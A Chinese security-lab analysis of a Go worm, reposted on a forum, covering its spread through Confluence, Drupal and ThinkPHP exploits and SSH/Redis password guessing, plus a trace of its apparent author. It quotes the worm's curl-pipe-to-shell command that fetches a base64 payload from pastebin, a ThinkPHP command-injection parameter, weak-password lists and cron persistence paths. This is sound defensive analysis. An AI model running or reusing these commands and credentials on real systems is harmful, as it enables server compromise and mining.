搜索

[14456] 2019-08-11_Golang蠕虫泛滥？让我们揪出其始作俑者

文档创建者：s7ckTeam
浏览次数：7
最后更新：2025-01-18
2019-08-11_Golang蠕虫泛滥？让我们揪出其始作俑者 G o l a n g 蠕 虫 泛 滥 ？ 让 我 们 揪 出 其 始 作 俑 者 千 里 目 安 全 实 验 室   F r e e B u f   2 0 1 9 - 0 8 - 1 1 概 述 概 述 近 日 ， 国 外 安 全 网 站 近 日 ， 国 外 安 全 网 站 S E C U R I T Y W E E K 披 露 ， 一 款 披 露 ， 一 款 G o 语 言 恶 意 软 件 正 大 量 感 染 语 言 恶 意 软 件 正 大 量 感 染 L i n u x 服 务 器 ， 其 使 用 了 多 达 服 务 器 ， 其 使 用 了 多 达 6 种 传 播 感 染 方 式 ， 包 含 种 传 播 感 染 方 式 ， 包 含 4 个 远 程 执 行 漏 洞 （ 个 远 程 执 行 漏 洞 （ T h i n k P H P 、 、 T H i n k P H P 2 、 、 D u r a l 、 、 C o n f l u e n c e ） ， ） ， 2 个 弱 密 码 爆 破 个 弱 密 码 爆 破 攻 击 （ 攻 击 （ S S H 、 、 R e d i s ） 。 深 信 服 安 全 团 队 对 该 蠕 虫 进 行 了 追 踪 。 ） 。 深 信 服 安 全 团 队 对 该 蠕 虫 进 行 了 追 踪 。 目 前 为 止 ， 恶 意 软 件 较 少 会 使 用 G o 语 言 编 写 ， 这 是 由 于 依 赖 库 的 原 因 ， 编 译 出 来 的 程 序 较 为 冗 余 ， 如 下 通 过 V T 可 以 得 知 ， 该 样 本 有 近 9 M 那 么 大 。 然 而 ， 使 用 G o 语 言 也 有 一 个 好 处 ， 就 是 易 于 集 成 第 三 方 的 库 。
逆 向 分 析 逆 向 分 析 对 该 样 本 进 行 反 汇 编 ， 可 以 清 晰 地 看 到 漏 洞 攻 击 对 应 的 函 数 ， 其 中 A t t a c k 函 数 是 主 函 数 ， 依 次 调 用 g e t i p 和 c h e c k P o r t ， 来 搜 索 同 网 段 在 线 的 主 机 I P ， 以 及 其 开 放 端 口 ， 若 发 现 有 2 2 、 6 3 7 9 端 口 开 放 ， 则 对 其 进 行 弱 密 码 爆 破 ； 若 发 现 有 8 0 端 口 ， 则 对 其 进 行 漏 洞 扫 描 及 攻 击 。 1 、 、 C V E _ 2 0 1 9 _ 3 3 9 6 C V E _ 2 0 1 9 _ 3 3 9 6 是 C o n f l u e n c e 的 漏 洞 ， 攻 击 e x p 如 下 ， 将 p a y l o a d 存 储 于 _ t e m p l a t e 参 数 中 。 2 、 、 D r u p a l D r u p a l 的 攻 击 e x p 如 下 ， 对 应 的 C V E 编 号 为 C V E - 2 0 1 8 - 7 6 0 0 。 3 、 、 T h i n k P H P T h i n k P H P 有 两 个 漏 洞 利 用 ， 下 面 这 个 是 C V E - 2 0 1 9 - 9 0 8 2 漏 洞 ， 使 用 f u n c t i o n = c a l l _ u s e r _ f u n c _ a r r a y & v a r s [ 0 ] = s y s t e m & v a r s [ 1 ] [ ] = U R L 利 用 该 漏 洞 执 行 命 令 。
4 、 、 T h i n k P H P 2 另 一 个 漏 洞 利 用 跟 上 面 的 相 似 ， 攻 击 e x p 如 下 。 5 、 、 R e d i s 爆 破 爆 破 R e d i s 登 陆 不 需 要 用 户 名 ， 爆 破 会 使 用 如 下 几 个 弱 密 码 ： a d m i n 、 r e d i s 、 r o o t 、 1 2 3 4 5 6 、 p a s s w o r d 、 u s e r 、 t e s t 。 登 陆 成 功 后 ， 蠕 虫 会 先 调 用 F l u s h A l l 删 除 所 有 数 据 库 ， 然 后 创 建 一 个 r o o t 数 据 库 来 存 放 恶 意 代 码 ， 该 代 码 同 样 会 被 创 建 到 / v a r / s p o o l / c r o n 和 / e t c / c r o n . d 中 以 实 现 持 久 化 潜 伏 。
插 入 的 是 下 面 这 个 恶 意 代 码 ， 这 个 代 码 的 意 思 是 ， 每 隔 一 分 钟 ， 就 解 密 执 行 一 次 h t t p s : / / p a s t e b i n . c o m / r a w / x v f x p r t b 的 代 码 。 6 、 、 S S H 爆 破 爆 破 S S H 爆 破 使 用 的 用 户 名 为 ： r o o t 、 a d m i n s 、 u s e r 、 t e s t ， 密 码 分 别 为 ： a d m i n s 、 r o o t 、 t e s t 、 u s e r 、 1 2 3 4 5 6 、 p a s s w o r d 。 从 上 面 几 个 漏 洞 攻 击 和 密 码 爆 破 的 方 式 来 看 ， 攻 击 最 后 的 目 的 都 是 为 了 执 行 命 令 ： ’ c u r l   - f s S L h t t p s : / / p a s t e b i n . c o m / r a w / x v f x p r t b )   |   b a s e 6 4   - d )   |   s h ’ ， 所 以 ， 这 个 u r l 的 代 码 应 该 就 是 攻 击 的 核 心 代 码 。 p a s t e b i n . c o m / r a w / x v f x p r t b 的 代 码 如 下 ， 是 经 过 b a s e 6 4 加 密 的 。
解 密 后 可 以 看 见 其 主 要 操 作 ， 将 m . j i a n l i s t o r e . c o m / i m a g e s / q r c o d e / 1 4 1 4 2 9 7 5 6 4 . j p g 保 存 为 本 地 的 / t m p / . m y s q l i / m y s q l c 并 执 行 ， 这 个 文 件 之 前 已 经 有 文 章 分 析 过 了 ， 不 再 累 赘 ： h t t p s : / / w w w . f r e e b u f . c o m / a r t i c l e s / t e r m i n a l / 2 0 6 1 7 0 . h t m l 。 事 件 追 踪 事 件 追 踪 回 到 刚 刚 的 网 址 ： p a s t e b i n . c o m / r a w / x v f x p r t b ， 对 其 进 行 追 踪 ， 将 网 址 中 的 r a w 去 掉 ， 就 可 以 看 到 该 代 码 的 发 布 者 了 ， 从 下 图 中 可 以 得 知 ， 该 作 者 为 N I D A Y E 2 2 2 ， 代 码 是 6 月 1 0 号 上 传 的 ， 访 问 量 迄 今 为 止 为 1 8 0 0 0 + ， 说 明 该 蠕 虫 的 感 染 量 大 概 也 是 这 个 数 ， 感 染 数 量 也 还 在 极 速 上 升 。
使 用 搜 索 引 擎 搜 索 n i d a y e 2 2 2 ， 可 以 发 现 ， 发 布 者 在 1 4 天 刚 创 建 了 个 g i t h u b 账 户 ， 而 在 6 月 2 6 号 和 3 0 分 别 f o r k 了 漏 洞 扫 描 器 k u n p e n g 和 开 源 挖 矿 x m r i g ， 看 来 这 个 蠕 虫 的 作 者 很 有 可 能 是 从 这 得 到 了 启 发 。 K u n p e n g 是 一 个 开 源 的 P O C 检 测 框 架 ， 也 是 使 用 g o 语 言 进 行 编 写 的 ， 所 以 ， 不 排 除 作 者 有 复 用 其 中 漏 洞 利 用 代 码 的 可 能 性 。
K u n p e n g 目 前 为 止 收 录 了 8 5 个 漏 洞 P O C ， 其 中 也 包 含 了 该 蠕 虫 所 利 用 的 漏 洞 ， 可 想 而 知 ， 只 要 作 者 愿 意 ， 他 可 以 继 续 扩 充 如 下 漏 洞 攻 击 代 码 到 蠕 虫 中 去 ， 所 以 ， 大 家 尽 量 打 上 相 应 的 漏 洞 补 丁 ， 防 止 感 染 该 病 毒 。 * 本 文 作 者 ： 本 文 作 者 ： 深 信 服 千 里 目 安 全 实 验 室 ， 转 载 请 注 明 来 自 深 信 服 千 里 目 安 全 实 验 室 ， 转 载 请 注 明 来 自 F r e e B u f . C O M
精 彩 推 荐 精 彩 推 荐
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理